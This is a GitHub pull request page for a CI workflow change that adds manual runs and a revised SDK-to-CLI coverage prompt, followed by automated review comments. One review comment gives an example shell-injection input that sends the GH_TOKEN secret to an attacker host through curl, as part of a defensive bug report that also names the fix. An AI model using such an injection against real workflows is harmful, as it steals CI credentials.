Skip to content

Sdk cli command mapping#58

Merged
masnwilliams merged 2 commits intomainfrom
mason/sdk-cli-command-mapping-91b9
Jan 17, 2026
Merged

Sdk cli command mapping#58
masnwilliams merged 2 commits intomainfrom
mason/sdk-cli-command-mapping-91b9

Conversation

@masnwilliams
Copy link
Contributor

@masnwilliams masnwilliams commented Jan 17, 2026

Enhance the CLI coverage workflow prompt to enforce full SDK method and CLI command enumeration for comprehensive gap analysis.


Open in Cursor Open in Web


Note

Strengthens the CLI coverage updater workflow and makes it manually runnable with PR context.

  • Manual run support: Adds workflow_dispatch with optional pr_number; fetches PR metadata (merge SHA, author, title) via gh and checks out the merge commit when provided
  • Version/author resolution: Uses latest tag or PR merge SHA for version; derives author from PR or push event
  • Prompt overhaul for coverage: Replaces incremental diff-based approach with enforced full enumeration of SDK methods (api.md + Go param structs) and CLI commands, building matrices and performing gap analysis (missing commands/flags)
  • Implementation and PR flow: Details steps to update SDK in CLI, implement gaps, compile, push to evergreen branch, and create/update PR with standardized titles/bodies including coverage analysis and trigger info
  • Guides and constraints: Adds explicit SDK-to-CLI mapping rules, flag naming conventions, and constraints to always update SDK and perform full coverage analysis

Written by Cursor Bugbot for commit b3020ea. This will update automatically on new commits. Configure here.

The previous prompt only checked recent commits and vaguely asked to identify
coverage gaps. This update makes the prompt explicit about:

1. Reading api.md as the authoritative source of ALL SDK methods
2. Reading param structs from Go files to enumerate ALL options/fields
3. Building an SDK coverage matrix (methods + params)
4. Building a CLI coverage matrix (commands + flags)
5. Performing gap analysis to find missing commands and flags
6. Mapping guidance for SDK param fields to CLI flags (CamelCase -> kebab-case)

This ensures the agent does a complete enumeration rather than just checking
what changed in the most recent commit.

Co-authored-by: mason <[email protected]>
@cursor
Copy link

cursor bot commented Jan 17, 2026

Cursor Agent can help with this pull request. Just @cursor in comments and I'll start working on changes in this branch.
Learn more about Cursor Agents

@masnwilliams masnwilliams marked this pull request as ready for review January 17, 2026 20:39
The workflow can now be triggered manually via workflow_dispatch with:
- An optional pr_number input to specify a specific PR
- If pr_number is not provided, uses the most recent merged PR
- Falls back to HEAD if no PR is found

This allows re-running the CLI coverage analysis for past PRs or triggering
it manually without requiring a new push to main.

Co-authored-by: mason <[email protected]>
@masnwilliams masnwilliams merged commit 1372840 into main Jan 17, 2026
5 checks passed
Copy link

@cursor cursor bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Cursor Bugbot has reviewed your changes and found 2 potential issues.

Bugbot Autofix is OFF. To automatically fix reported issues with Cloud Agents, enable Autofix in the Cursor dashboard.

run: |
if [ -n "${{ inputs.pr_number }}" ]; then
# Use provided PR number
PR_NUMBER="${{ inputs.pr_number }}"
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Shell injection via untrusted workflow dispatch input

Medium Severity

The inputs.pr_number value is directly interpolated into the shell script using ${{ inputs.pr_number }}. GitHub Actions performs string substitution before the shell parses the script, so a malicious input like "; curl attacker.com?t=$GH_TOKEN # would break out of the string context and execute arbitrary commands. This could exfiltrate the GH_TOKEN secret which is available in the step's environment. The safe pattern is to pass the input through an environment variable first (e.g., env: PR_INPUT: ${{ inputs.pr_number }} then use "$PR_INPUT" in the script).

Fix in Cursor Fix in Web

echo "Using most recent merged PR: $PR_NUMBER"
fi

if [ -z "$PR_NUMBER" ]; then
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Empty array returns "null" string, not empty

Low Severity

When no merged PRs exist, gh pr list returns an empty array []. The jq expression .[0].number on an empty array returns null, which becomes the literal string "null" with raw output. The subsequent check if [ -z "$PR_NUMBER" ] tests for empty string, but "null" is not empty. This causes the script to incorrectly proceed to gh pr view "null", which fails. The jq expression needs // empty (like '.[0].number // empty') to output an empty string instead of "null".

Fix in Cursor Fix in Web

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants

Comments